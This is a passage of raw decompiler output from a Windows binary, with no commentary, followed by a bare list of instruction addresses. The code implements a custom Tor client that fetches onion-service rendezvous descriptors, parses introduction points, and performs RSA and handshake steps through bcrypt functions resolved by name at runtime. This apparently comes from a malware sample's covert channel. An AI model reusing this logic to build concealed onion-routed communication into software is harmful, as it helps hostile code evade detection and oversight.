														__eflags = E00403EE1(__eflags, _t692, _t964 - 0x6d0, _t964 - 0x6e4, _t964 - 0x6f8, _t964 - 0x70c);
														if(__eflags != 0) {
															continue;
														}
														__eflags = E00403475(__eflags,  *((intOrPtr*)(_t964 - 8)),  *(_t964 - 4),  *((intOrPtr*)(_t964 - 0xc)),  *((intOrPtr*)(_t964 - 0x10)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714),  *((intOrPtr*)(_t964 - 0x6e4)),  *((intOrPtr*)(_t964 - 0x6f8)),  *((intOrPtr*)(_t964 - 0x6dc)),  *(_t964 - 0x6d0),  *(_t964 - 0x14), _t964 - 0x1f0, _t964 - 0x1ec, _t964 - 0x1e8, _t964 - 0x1e4, _t964 - 0x228);
														if(__eflags <= 0) {
															L88:
															E004037CC( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c),  *((intOrPtr*)(_t964 + 0x10)),  *(_t964 - 0x14));
															 *(_t964 - 0x14) =  *(_t964 - 0x14) + 1;
															 *(_t964 - 0x18) =  *(_t964 - 0x18) + 1;
															 *(_t964 - 0x1c) =  *(_t964 - 0x1c) + 1;
															_t583 = E0040680A(__eflags,  *((intOrPtr*)(_t964 - 0x780)), 0x186a0, "-----END MESSAGE-----");
															__eflags = _t583;
															if(_t583 != 0) {
																 *(_t964 - 0x30) = _t583;
																goto L116;
															}
															continue;
														}
														E00406502( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
														_t944 =  *((intOrPtr*)(_t964 - 0x780));
														 *_t944 = 0x80;
														 *((char*)(_t944 + 3)) =  *(_t964 - 0x14);
														 *((char*)(_t944 + 4)) = 3;
														 *((char*)(_t944 + 5)) = 0xd;
														 *((char*)(_t944 + 9)) =  *(_t964 - 0x18);
														E004038CD( *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1f0)),  *((intOrPtr*)(_t964 - 0x1e8)), 0, _t944 + 5, 0,  *((intOrPtr*)(_t964 - 0x220)));
														E004044BF(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
														_t712 = E004047EF( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x202,  *((intOrPtr*)(_t964 + 0x10)), 0x14);
														_t945 =  *(_t964 - 0x77c);
														__eflags = _t712;
														if(_t712 != 0) {
															goto L117;
														}
														__eflags = _t945[4] - 3;
														if(__eflags != 0) {
															goto L88;
														}
														_t714 = E0040394E(__eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1ec)),  *((intOrPtr*)(_t964 - 0x1e4)), 0,  &(_t945[5]), 1,  *((intOrPtr*)(_t964 - 0x21c)));
														__eflags = _t714;
														if(_t714 == 0) {
															goto L117;
														}
														__eflags = _t945[5] - 4;
														if(__eflags != 0) {
															goto L88;
														}
														E00406502( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
														_t946 =  *((intOrPtr*)(_t964 - 0x780));
														 *_t946 = 0x80;
														 *((char*)(_t946 + 3)) =  *(_t964 - 0x14);
														 *((char*)(_t946 + 4)) = 3;
														 *((char*)(_t946 + 5)) = 2;
														 *((char*)(_t946 + 9)) =  *(_t964 - 0x18);
														_t720 = wsprintfA(_t946 + 0x10, "GET /tor/rendezvous2/%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n", _t964 - 0x605,  *((intOrPtr*)(_t964 - 0x6e4)));
														_t966 = _t966 + 0x10;
														_t721 = _t720 + 1;
														__eflags = _t721;
														 *(_t946 + 0xf) = _t721;
														E004038CD( *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1f0)),  *((intOrPtr*)(_t964 - 0x1e8)), 0, _t946 + 5, 1,  *((intOrPtr*)(_t964 - 0x220)));
														E004044BF(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
														 *(_t964 - 0x24) = 0;
														 *(_t964 - 0x2c) = 2;
														 *(_t964 - 0x30) = 0;
														_t960 =  *(_t964 - 0x77c);
														_t947 =  *((intOrPtr*)(_t964 - 0x780));
														E00406502( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
														while(1) {
															E004064C8( *((intOrPtr*)(_t964 - 0x764)), 0, _t964 - 0x778, 0xa, 0);
															_push(_t964 - 0x76c);
															_push(0);
															_push(0);
															_t729 = _t964 - 0x778;
															_push(_t729);
															_push(0);
															L00406CD0();
															__eflags = _t729;
															if(_t729 < 0) {
																goto L117;
															}
															__eflags = _t729;
															if(__eflags == 0) {
																goto L88;
															}
															_t732 = E004045F4(__eflags,  *((intOrPtr*)(_t964 - 0x764)), _t964 - 0x760,  *((intOrPtr*)(_t964 + 0x10)));
															__eflags = _t732;
															if(_t732 <= 0) {
																goto L117;
															}
															_t932 =  &(( *(_t964 - 0x77c))[ *(_t964 - 0x24)]);
															 *(_t964 - 0x24) =  *(_t964 - 0x24) + _t732;
															__eflags =  *(_t964 - 0x24) - 0x186a0;
															if( *(_t964 - 0x24) > 0x186a0) {
																goto L119;
															}
															E0040647B( *(_t964 - 0x760), _t932, _t732);
															E0040491C(_t964 - 0x760);
															_t736 =  *(_t964 - 0x24);
															_t737 = _t736 / 0x202;
															_t929 = _t736 % 0x202;
															__eflags = _t736 % 0x202;
															if(_t736 % 0x202 != 0) {
																continue;
															}
															 *(_t964 - 0x28) = _t737;
															while(1) {
																__eflags =  *(_t964 - 0x28);
																if( *(_t964 - 0x28) <= 0) {
																	break;
																}
																__eflags =  *_t960 - 0x80;
																if(__eflags != 0) {
																	L85:
																	_t960 =  &(_t960[0x202]);
																	_t426 = _t964 - 0x28;
																	 *_t426 =  *(_t964 - 0x28) - 1;
																	__eflags =  *_t426;
																	continue;
																}
																_t742 = E0040394E(__eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1ec)),  *((intOrPtr*)(_t964 - 0x1e4)), 0,  &(_t960[5]),  *(_t964 - 0x2c),  *((intOrPtr*)(_t964 - 0x21c)));
																__eflags = _t742;
																if(_t742 == 0) {
																	goto L117;
																}
																__eflags = _t960[4] - 0x503;
																if(_t960[4] == 0x503) {
																	goto L85;
																}
																__eflags = _t960[4] - 0x203;
																if(__eflags != 0) {
																	goto L88;
																}
																_t923 = _t960[0xe];
																E0040647B( &(_t960[0x10]), _t947, _t923);
																_t947 = _t947 + _t923;
																_t424 = _t964 - 0x2c;
																 *_t424 =  *(_t964 - 0x2c) + 1;
																__eflags =  *_t424;
																goto L85;
															}
														}
														goto L117;
													}
													_t441 = _t964 - 0x34;
													 *_t441 =  *(_t964 - 0x34) + 1;
													__eflags =  *_t441;
												}
											} else {
												_t752 = E0040680A(__eflags,  *((intOrPtr*)(_t964 - 0x780)), 0x186a0, "-----BEGIN MESSAGE-----") + 0x17;
												 *(_t964 - 0x30) =  *(_t964 - 0x30) - _t752;
												_t948 =  *(_t964 - 0x77c);
												while(1) {
													__eflags =  *(_t964 - 0x30);
													if( *(_t964 - 0x30) <= 0) {
														break;
													}
													asm("lodsb");
													__eflags = _t752 - 0x20;
													if(_t752 > 0x20) {
														asm("stosb");
													}
													_t27 = _t964 - 0x30;
													 *_t27 =  *(_t964 - 0x30) - 1;
													__eflags =  *_t27;
												}
												 *_t948 = 0;
												CryptStringToBinaryA( *(_t964 - 0x77c), 0, 1, 0, _t964 - 0x1c, 0, 0);
												_t756 = E004048F1( *(_t964 - 0x1c), _t964 - 0x784);
												__eflags = _t756;
												if(_t756 == 0) {
													break;
												}
												CryptStringToBinaryA( *(_t964 - 0x77c), 0, 1,  *(_t964 - 0x784), _t964 - 0x1c, 0, 0);
												_t949 =  *(_t964 - 0x784);
												_t907 = 0;
												while(1) {
													__eflags = _t907 - 3;
													if(_t907 >= 3) {
														break;
													}
													__eflags =  *(_t964 - 0x1c);
													if(__eflags > 0) {
														_t895 = E004067D0(__eflags, _t949,  *(_t964 - 0x1c), "introduction-point");
														__eflags = _t895;
														if(__eflags == 0) {
															break;
														}
														 *(_t964 + _t907 * 4 - 0x72c) = _t895;
														_t896 = E004067D0(__eflags, _t949,  *(_t964 - 0x1c), "ip-address");
														__eflags = _t896;
														if(__eflags == 0) {
															goto L119;
														}
														 *(_t964 + _t907 * 4 - 0x738) = _t896;
														_t897 = E004067D0(__eflags, _t949,  *(_t964 - 0x1c), "onion-port");
														__eflags = _t897;
														if(__eflags == 0) {
															goto L119;
														}
														 *(_t964 + _t907 * 4 - 0x744) = _t897;
														_t898 = E0040680A(__eflags, _t949,  *(_t964 - 0x1c), "service-key");
														__eflags = _t898;
														if(__eflags == 0) {
															goto L119;
														}
														_t900 = _t898 + 1 - _t949;
														_t949 =  &(_t949[_t900]);
														 *(_t964 - 0x1c) =  *(_t964 - 0x1c) - _t900;
														_t901 = E0040680A(__eflags, _t949,  *(_t964 - 0x1c), "KEY-----");
														__eflags = _t901;
														if(__eflags == 0) {
															goto L119;
														}
														 *((intOrPtr*)(_t964 + _t907 * 4 - 0x750)) = _t901 + 8;
														_t903 = E0040680A(__eflags, _t949,  *(_t964 - 0x1c), "-----END");
														__eflags = _t903;
														if(_t903 == 0) {
															goto L119;
														}
														 *_t903 = 0;
														_t907 = _t907 + 1;
														__eflags = _t907;
														continue;
													}
													break;
												}
												while(1) {
													__eflags = _t907;
													if(__eflags <= 0) {
														break;
													}
													_t907 = _t907 - 1;
													_t764 = E00403475(__eflags,  *((intOrPtr*)(_t964 - 8)),  *(_t964 - 4),  *((intOrPtr*)(_t964 - 0xc)),  *((intOrPtr*)(_t964 - 0x10)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714),  *(_t964 + _t907 * 4 - 0x738),  *(_t964 + _t907 * 4 - 0x744),  *((intOrPtr*)(_t964 - 0x6dc)),  *(_t964 + _t907 * 4 - 0x72c),  *(_t964 - 0x14), _t964 - 0x1e0, _t964 - 0x1dc, _t964 - 0x1d8, _t964 - 0x1d4, _t964 - 0x218);
													__eflags = _t764;
													if(_t764 <= 0) {
														L43:
														E004037CC( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c),  *((intOrPtr*)(_t964 + 0x10)),  *(_t964 - 0x14));
														_t217 = _t964 - 0x14;
														 *_t217 =  *(_t964 - 0x14) + 1;
														__eflags =  *_t217;
														continue;
													}
													_t800 = E00406862(E00406502(_t964 - 0x63c, 0x400), 0x100);
													asm("stosb");
													asm("loop 0xfffffff5");
													 *((char*)(_t964 - 0x42a)) = 2;
													_push( *((intOrPtr*)(_t964 - 0x6e0)));
													L00406CB8();
													 *((intOrPtr*)(_t964 - 0x429)) = _t800;
													_t801 = E00406493( *((intOrPtr*)(_t964 - 0x6f4)));
													 *((char*)(_t964 - 0x425)) = _t801;
													 *((char*)(_t964 - 0x424)) = _t801;
													CryptStringToBinaryA( *(_t964 - 0x6d4), 0, 1, 0, _t964 - 0x24, 0, 0);
													CryptStringToBinaryA( *(_t964 - 0x6d4), 0, 1, _t964 - 0x423, _t964 - 0x24, 0, 0);
													_t809 = E004040A0(_t929, __eflags,  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714), _t964 - 0x423, _t964 - 0x40d);
													__eflags = _t809;
													if(_t809 == 0) {
														L117:
														_t583 = E004062A4( *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 + 0x14)),  *((intOrPtr*)(_t964 - 0x764)));
														 *(_t964 - 0x6a8) = 0;
														goto L118;
													}
													 *(_t964 - 0x40f) = _t809;
													 *(_t964 - 0x40e) = _t809;
													E0040647B(_t964 - 0x650, _t964 - 0x381, 0x14);
													 *((char*)(_t964 - 0x1c4)) = 7;
													 *((char*)(_t964 - 0x1c3)) = 2;
													 *((short*)(_t964 - 0x1c2)) = 0;
													 *((intOrPtr*)(_t964 - 0x1c0)) = 0xaa02;
													 *((intOrPtr*)(_t964 - 0x1bc)) = 0x32484400;
													 *(_t964 - 0x1b8) = 0x400;
													E00406862(E0040647B(0x40841c, _t964 - 0x1b4, 0x80), 0x100);
													asm("stosb");
													asm("loop 0xfffffff5");
													E00406502(_t964 - 0x134, 0x80);
													 *((char*)(_t964 - 0x134)) = 2;
													E00403E6B( *(_t964 - 4), _t964 - 0x1c4, _t964 - 0x36d);
													_t955 = _t964 - 0x5b0;
													_t821 = 1;
													while(1) {
														_t821 = _t821;
														__eflags = _t821;
														if(_t821 == 0) {
															break;
														}
														asm("lodsb");
														__eflags = _t821 - 0x20;
														if(_t821 > 0x20) {
															asm("stosb");
														}
													}
													 *_t955 = 0;
													CryptStringToBinaryA(_t964 - 0x5b0, 0, 1, 0, _t964 - 0x20, 0, 0);
													CryptStringToBinaryA(_t964 - 0x5b0, 0, 1, _t964 - 0x63c, _t964 - 0x20, 0, 0);
													 *(_t964 - 0x24) = 0x94;
													E00406502(_t964 - 0x5b0, 0x94);
													_push(_t964 - 0x24);
													_push(_t964 - 0x5b0);
													_push(0);
													_push(0x8c);
													_push(_t964 - 0x63c);
													_push(0x13);
													_push(1);
													L00406D60();
													 *((intOrPtr*)(_t964 - 0x51c)) = 0x31415352;
													 *(_t964 - 0x518) = 0x400;
													 *(_t964 - 0x514) = 4;
													 *((intOrPtr*)(_t964 - 0x510)) = 0x80;
													 *(_t964 - 0x50c) = 0;
													 *(_t964 - 0x508) = 0;
													asm("bswap eax");
													 *((intOrPtr*)(_t964 - 0x504)) =  *((intOrPtr*)(_t964 - 0x5a0));
													E00406435(_t964 - 0x51d, _t964 - 0x500, 0x80);
													_push(0);
													_push(0x9c);
													_push(_t964 - 0x51c);
													_push(_t964 - 0x1c8);
													_push(L"RSAPUBLICBLOB");
													_push(0);
													_push( *((intOrPtr*)(_t964 - 0xc)));
													 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptImportKeyPair")))();
													E00406502( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
													_t956 =  *((intOrPtr*)(_t964 - 0x780));
													 *_t956 = 0x80;
													 *((char*)(_t956 + 3)) =  *(_t964 - 0x14);
													 *((char*)(_t956 + 4)) = 3;
													 *((char*)(_t956 + 5)) = 0x22;
													 *((char*)(_t956 + 0xe)) = 0x18b;
													 *((char*)(_t956 + 0xf)) = 0x18b;
													E00403381( *((intOrPtr*)(_t964 - 8)), _t964 - 0x63c, 0x8c, _t956 + 0x10, 0, 0xffffffff);
													 *((intOrPtr*)(_t964 - 0x75c)) = L"SHA1";
													 *(_t964 - 0x758) = 0;
													 *(_t964 - 0x754) = 0;
													_push(4);
													_push(_t964 - 0x2c);
													_push(0x80);
													_push(_t956 + 0x24);
													_push(0);
													_push(0);
													_push(_t964 - 0x75c);
													_push(0x56);
													_push(_t964 - 0x43a);
													_push( *((intOrPtr*)(_t964 - 0x1c8)));
													 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptEncrypt")))();
													E00406306(_t964 - 0x1c8, _t964 - 0x1c8, 0, 1);
													 *((intOrPtr*)(_t964 - 0x51c)) = 0x4d42444b;
													 *(_t964 - 0x518) = 1;
													 *(_t964 - 0x514) = 0x10;
													E0040647B(_t964 - 0x43a, _t964 - 0x510, 0x10);
													_push(0);
													_push(0x1c);
													_push(_t964 - 0x51c);
													_push(0);
													_push(0);
													_push(_t964 - 0x1c8);
													_push(L"KeyDataBlob");
													_push(0);
													_push( *((intOrPtr*)(_t964 - 0x10)));
													 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptImportKey")))();
													E0040647B(_t964 - 0x3e4, _t956 + 0xa4, 0xf7);
													E0040380B(__eflags,  *((intOrPtr*)(_t964 - 0x1c8)), _t956 + 0xa4, 0xf7, 0);
													E00406306(_t964 - 0x1c8, _t964 - 0x1c8, 0, 1);
													E004038CD( *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1e0)),  *((intOrPtr*)(_t964 - 0x1d8)), 0, _t956 + 5, 0,  *((intOrPtr*)(_t964 - 0x210)));
													E004044BF(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
													_t879 = E004047EF( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x404,  *((intOrPtr*)(_t964 + 0x10)), 0x64);
													_t957 =  *(_t964 - 0x77c);
													__eflags = _t879;
													if(_t879 != 0) {
														goto L117;
													}
													__eflags = _t957[4] - 3;
													if(__eflags != 0) {
														goto L119;
													}
													_t881 = E0040394E(__eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1dc)),  *((intOrPtr*)(_t964 - 0x1d4)), 0,  &(_t957[5]), 1,  *((intOrPtr*)(_t964 - 0x20c)));
													__eflags = _t881;
													if(_t881 == 0) {
														goto L117;
													}
													__eflags = _t957[5] - 0x28;
													if(__eflags != 0) {
														goto L119;
													}
													_t883 = E0040394E(__eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1fc)),  *((intOrPtr*)(_t964 - 0x1f4)), 0,  &(_t957[0x207]), 2,  *((intOrPtr*)(_t964 - 0x22c)));
													__eflags = _t883;
													if(_t883 == 0) {
														goto L117;
													}
													E00406435( &(_t957[0x291]), _t964 - 0x134, 0x80);
													_t893 = E004039E5(__eflags,  *(_t964 - 4),  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x10)), _t964 - 0x1c4,  &(_t957[0x292]), _t964 - 0x1d0, _t964 - 0x1cc, _t964 - 0x208, _t964 - 0x204);
													__eflags = _t893;
													if(_t893 == 0) {
														goto L117;
													}
													_t907 = 0xffffffff;
													goto L43;
												}
												__eflags = _t907;
												if(_t907 >= 0) {
													break;
												}
												E00406502( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
												_t950 =  *((intOrPtr*)(_t964 - 0x780));
												 *_t950 = 0x80;
												 *((char*)(_t950 + 3)) = 1;
												 *((char*)(_t950 + 4)) = 3;
												 *((char*)(_t950 + 5)) = 1;
												 *((char*)(_t950 + 9)) =  *(_t964 - 0x18);
												 *((char*)(_t950 + 0xf)) = 0x12;
												E00406519( *((intOrPtr*)(_t964 + 8)), 0xa, _t964 - 0x6c8);
												E00406611(_t964 - 0x6c8, 0xa, _t950 + 0x10);
												 *((char*)(_t950 + 0x20)) = 0x3a;
												E00406519( *((intOrPtr*)(_t964 + 0xc)), 0xffffffff, _t964 - 0x720);
												 *((intOrPtr*)(_t950 + 0xf)) =  *((intOrPtr*)(_t950 + 0xf)) + E0040673B(__eflags, _t964 - 0x720);
												E0040647B(_t964 - 0x720, _t950 + 0x21, _t776);
												E004038CD( *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x200)),  *((intOrPtr*)(_t964 - 0x1f8)),  *((intOrPtr*)(_t964 - 0x1d0)), _t950 + 5, 1,  *((intOrPtr*)(_t964 - 0x208)));
												E004044BF(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
												_t783 = E004047EF( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x202,  *((intOrPtr*)(_t964 + 0x10)), 0x64);
												_t951 =  *(_t964 - 0x77c);
												__eflags = _t783;
												if(_t783 != 0) {
													goto L117;
												}
												__eflags = _t951[4] - 3;
												if(__eflags != 0) {
													goto L117;
												}
												_t785 = E0040394E(__eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1fc)),  *((intOrPtr*)(_t964 - 0x1f4)),  *((intOrPtr*)(_t964 - 0x1cc)),  &(_t951[5]), 3,  *((intOrPtr*)(_t964 - 0x204)));
												__eflags = _t785;
												if(_t785 == 0) {
													goto L117;
												}
												__eflags = _t951[5] - 4;
												if(_t951[5] == 4) {
													E0040647B(_t964 - 8,  *((intOrPtr*)(_t964 + 0x1c)), 4);
													E0040647B(_t964 - 0x200,  *((intOrPtr*)(_t964 + 0x20)), 0x10);
													E0040647B(_t964 - 0x1d0,  *((intOrPtr*)(_t964 + 0x20)) + 0x10, 8);
													E0040647B(_t964 - 0x208,  *((intOrPtr*)(_t964 + 0x24)), 8);
													E0040647B(_t964 - 0x18,  *((intOrPtr*)(_t964 + 0x28)), 4);
													 *(_t964 - 0x788) = 1;
												}
											}
											break;
										}
										__eflags =  *(_t964 - 0x714);
										if( *(_t964 - 0x714) == 0) {
											continue;
										}
										goto L12;
									}
									__eflags = _t583 - 0x1f;
									if(__eflags != 0) {
										continue;
									}
									goto L9;
								}
								__eflags = _t583 - 0x17;
								if(_t583 != 0x17) {
									continue;
								}
								goto L7;
							}
							__eflags = _t583 - 7;
							if(_t583 != 7) {
								continue;
							}
							goto L5;
						}
						__eflags = _t583 - 7;
						if(_t583 != 7) {
							continue;
						}
						goto L3;
					}
					L119:
					 *(_t964 - 0x24) = 0xc;
					if( *(_t964 - 0x788) != 1) {
						 *(_t964 - 0x24) = 0xe;
					}
					E00406347(_t964 - 0x238, _t964 - 0x238, 0,  *(_t964 - 0x24));
					 *(_t964 - 0x24) = 8;
					 *(_t964 - 0x2c) = 4;
					if( *(_t964 - 0x788) != 1) {
						 *(_t964 - 0x24) = 0xe;
						 *(_t964 - 0x2c) = 0;
					}
					E00406306(_t964 - 0x200, _t964 - 0x200,  *(_t964 - 0x2c),  *(_t964 - 0x24));
					CryptReleaseContext( *(_t964 - 4), 0);
					_t971 =  *(_t964 - 0x788) - 1;
					if( *(_t964 - 0x788) != 1) {
						_push(0);
						_push( *((intOrPtr*)(_t964 - 8)));
						 *((intOrPtr*)(E00406A3A(_t971, E0040694A("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					}
					_push(0);
					_push( *((intOrPtr*)(_t964 - 0xc)));
					 *((intOrPtr*)(E00406A3A(_t971, E0040694A("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					_push(0);
					_push( *((intOrPtr*)(_t964 - 0x10)));
					 *((intOrPtr*)(E00406A3A(_t971, E0040694A("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					E0040647B(_t964 - 0x764,  *((intOrPtr*)(_t964 + 0x18)), 4);
					E0040491C(_t964 - 0x23c);
					E0040491C(_t964 - 0x784);
					E0040491C(_t964 - 0x77c);
					E0040491C(_t964 - 0x780);
					return  *(_t964 - 0x788);
				}
			}

0x00402671
0x00402671
0x00402671
0x00000000
0x00402694
0x00401466
0x00401469
0x0040146e
0x00401475
0x00401480
0x00401480
0x00401487
0x00401492
0x00401492
0x00401499
0x004014a4
0x004014a4
0x004014ab
0x004014b6
0x004014dd
0x004014e2
0x004014e2
0x004014e4
0x00000000
0x00000000
0x004014ea
0x004014f1
0x00401500
0x00401500
0x00401507
0x00401dc2
0x00401dc9
0x0040230d
0x00402314
0x00402488
0x0040248f
0x00402671
0x00402671
0x00402671
0x00000000
0x00402677
0x00402671
0x004024b3
0x004024b5
0x00000000
0x00000000
0x004024cd
0x004024d2
0x004024e8
0x004024ed
0x004024ef
0x00000000
0x00000000
0x00402501
0x00402506
0x00402508
0x00000000
0x00000000
0x0040250e
0x00402514
0x0040251b
0x00402522
0x00402535
0x00402540
0x00402541
0x00402543
0x00402545
0x0040254b
0x0040254c
0x0040254e
0x00402553
0x00402555
0x00000000
0x00000000
0x0040256b
0x00402570
0x00402572
0x00000000
0x00000000
0x00402578
0x0040257b
0x00402581
0x00402583
0x00402583
0x00402583
0x0040258c
0x00402591
0x00402598
0x00000000
0x00000000
0x0040259a
0x004025a4
0x004025a9
0x004025ac
0x00000000
0x00000000
0x004025b7
0x004025c0
0x004025c3
0x00000000
0x0040266c
0x004025d5
0x004025f8
0x004025fa
0x00402603
0x00402605
0x00402607
0x00402618
0x0040261d
0x00402623
0x00402634
0x00402639
0x0040263f
0x00402645
0x0040264a
0x0040264d
0x00402665
0x00402671
0x00402671
0x00402671
0x00000000
0x00402677
0x00402671
0x00000000
0x00402522
0x00402378
0x0040237d
0x0040237f
0x00000000
0x00000000
0x00402390
0x00402395
0x0040239b
0x0040239e
0x004023a2
0x004023a6
0x004023aa
0x004023ae
0x004023c8
0x004023c8
0x004023cb
0x00000000
0x00000000
0x004023bf
0x004023c7
0x004023c7
0x004023c7
0x004023da
0x004023fc
0x00402417
0x00402432
0x00402437
0x0040243d
0x0040243f
0x00000000
0x00000000
0x00402445
0x00402449
0x00000000
0x00000000
0x0040246c
0x00402471
0x00402473
0x00000000
0x00000000
0x00402479
0x0040247d
0x00000000
0x00000000
0x00402671
0x00402671
0x00402671
0x00000000
0x00402677
0x00402671
0x00401dcf
0x00401dd6
0x00401ddd
0x004022f6
0x004022f6
0x004022fa
0x00000000
0x00000000
0x00401dec
0x00401e09
0x00401e25
0x00401e3a
0x00401e4c
0x00401e5e
0x00401e63
0x00401f49
0x00401f49
0x00401f4d
0x00000000
0x00000000
0x00401e74
0x00401e79
0x00401eaf
0x00401eb4
0x00401ebb
0x00401ebd
0x00401f27
0x00401f27
0x00401f2b
0x00401f44
0x00401f2d
0x00401f30
0x00401f35
0x00401f35
0x00000000
0x00401f2b
0x00401ed3
0x00401ef1
0x00401ef6
0x00401f22
0x00401f22
0x00401f25
0x00000000
0x00000000
0x00401efa
0x00401f02
0x00401f0a
0x00000000
0x00401f20
0x00401f0c
0x00401f14
0x00401f16
0x00401f16
0x00401f1d
0x00401f1d
0x00000000
0x00401f22
0x00401f53
0x004022e9
0x004022e9
0x004022ed
0x00000000
0x00000000
0x00401f68
0x00401f6d
0x00401f6e
0x00401f92
0x00401f94
0x00000000
0x00000000
0x00401ffe
0x00402000
0x004022b0
0x004022c2
0x004022c7
0x004022ca
0x004022cd
0x004022e0
0x004022e5
0x004022e7
0x00402305
0x00000000
0x00402305
0x00000000
0x004022e7
0x00402011
0x00402016
0x0040201c
0x00402022
0x00402025
0x00402029
0x00402030
0x00402050
0x0040206b
0x00402086
0x0040208b
0x00402091
0x00402093
0x00000000
0x00000000
0x00402099
0x0040209d
0x00000000
0x00000000
0x004020c0
0x004020c5
0x004020c7
0x00000000
0x00000000
0x004020cd
0x004020d1
0x00000000
0x00000000
0x004020e2
0x004020e7
0x004020ed
0x004020f3
0x004020f6
0x004020fa
0x00402101
0x0040211a
0x0040211f
0x00402122
0x00402122
0x00402124
0x00402144
0x0040215f
0x00402164
0x0040216b
0x00402172
0x00402179
0x0040217f
0x00402190
0x00402195
0x004021a8
0x004021b3
0x004021b4
0x004021b6
0x004021b8
0x004021be
0x004021bf
0x004021c1
0x004021c6
0x004021c8
0x00000000
0x00000000
0x004021ce
0x004021d0
0x00000000
0x00000000
0x004021e6
0x004021eb
0x004021ed
0x00000000
0x00000000
0x004021f9
0x004021fc
0x004021ff
0x00402206
0x00000000
0x00000000
0x00402214
0x00402220
0x00402225
0x0040222f
0x00402231
0x00402231
0x00402233
0x00000000
0x00000000
0x00402239
0x004022a5
0x004022a5
0x004022a9
0x00000000
0x00000000
0x00402246
0x00402248
0x0040229c
0x0040229c
0x004022a2
0x004022a2
0x004022a2
0x00000000
0x004022a2
0x00402268
0x0040226d
0x0040226f
0x00000000
0x00000000
0x00402275
0x0040227b
0x00000000
0x00000000
0x0040227d
0x00402283
0x00000000
0x00000000
0x00402289
0x00402292
0x00402297
0x00402299
0x00402299
0x00402299
0x00000000
0x00402299
0x004022ab
0x00000000
0x00402195
0x004022f3
0x004022f3
0x004022f3
0x004022f3
0x0040150d
0x00401522
0x00401525
0x00401528
0x0040153b
0x0040153b
0x0040153f
0x00000000
0x00000000
0x00401532
0x00401533
0x00401535
0x00401537
0x00401537
0x00401538
0x00401538
0x00401538
0x00401538
0x00401541
0x00401558
0x00401567
0x0040156c
0x0040156e
0x00000000
0x00000000
0x0040158c
0x00401591
0x00401597
0x0040164d
0x0040164d
0x00401650
0x00000000
0x00000000
0x00401652
0x00401656
0x004015ac
0x004015ac
0x004015ae
0x00000000
0x00000000
0x004015b4
0x004015c4
0x004015c9
0x004015cb
0x00000000
0x00000000
0x004015d1
0x004015e1
0x004015e6
0x004015e8
0x00000000
0x00000000
0x004015ee
0x004015fe
0x00401603
0x00401605
0x00000000
0x00000000
0x0040160c
0x0040160e
0x00401610
0x0040161c
0x00401621
0x00401623
0x00000000
0x00000000
0x0040162c
0x0040163c
0x00401641
0x00401643
0x00000000
0x00000000
0x00401649
0x0040164c
0x0040164c
0x00000000
0x0040164c
0x00000000
0x00401656
0x00401c17
0x00401c17
0x00401c1a
0x00000000
0x00000000
0x00401661
0x004016c4
0x004016c9
0x004016cb
0x00401bfd
0x00401c0f
0x00401c14
0x00401c14
0x00401c14
0x00000000
0x00401c14
0x004016f2
0x004016f7
0x004016f8
0x004016fa
0x00401701
0x00401707
0x0040170c
0x00401718
0x0040171d
0x00401723
0x0040173d
0x0040175b
0x0040177a
0x0040177f
0x00401781
0x00402679
0x00402685
0x0040268a
0x00000000
0x0040268a
0x00401787
0x0040178d
0x004017a3
0x004017a8
0x004017af
0x004017b6
0x004017bf
0x004017c9
0x004017d3
0x00401803
0x00401808
0x00401809
0x00401817
0x0040181c
0x00401834
0x00401840
0x00401846
0x00401850
0x00401850
0x00401850
0x00401852
0x00000000
0x00000000
0x0040184a
0x0040184b
0x0040184d
0x0040184f
0x0040184f
0x0040184d
0x00401854
0x0040186c
0x0040188b
0x00401890
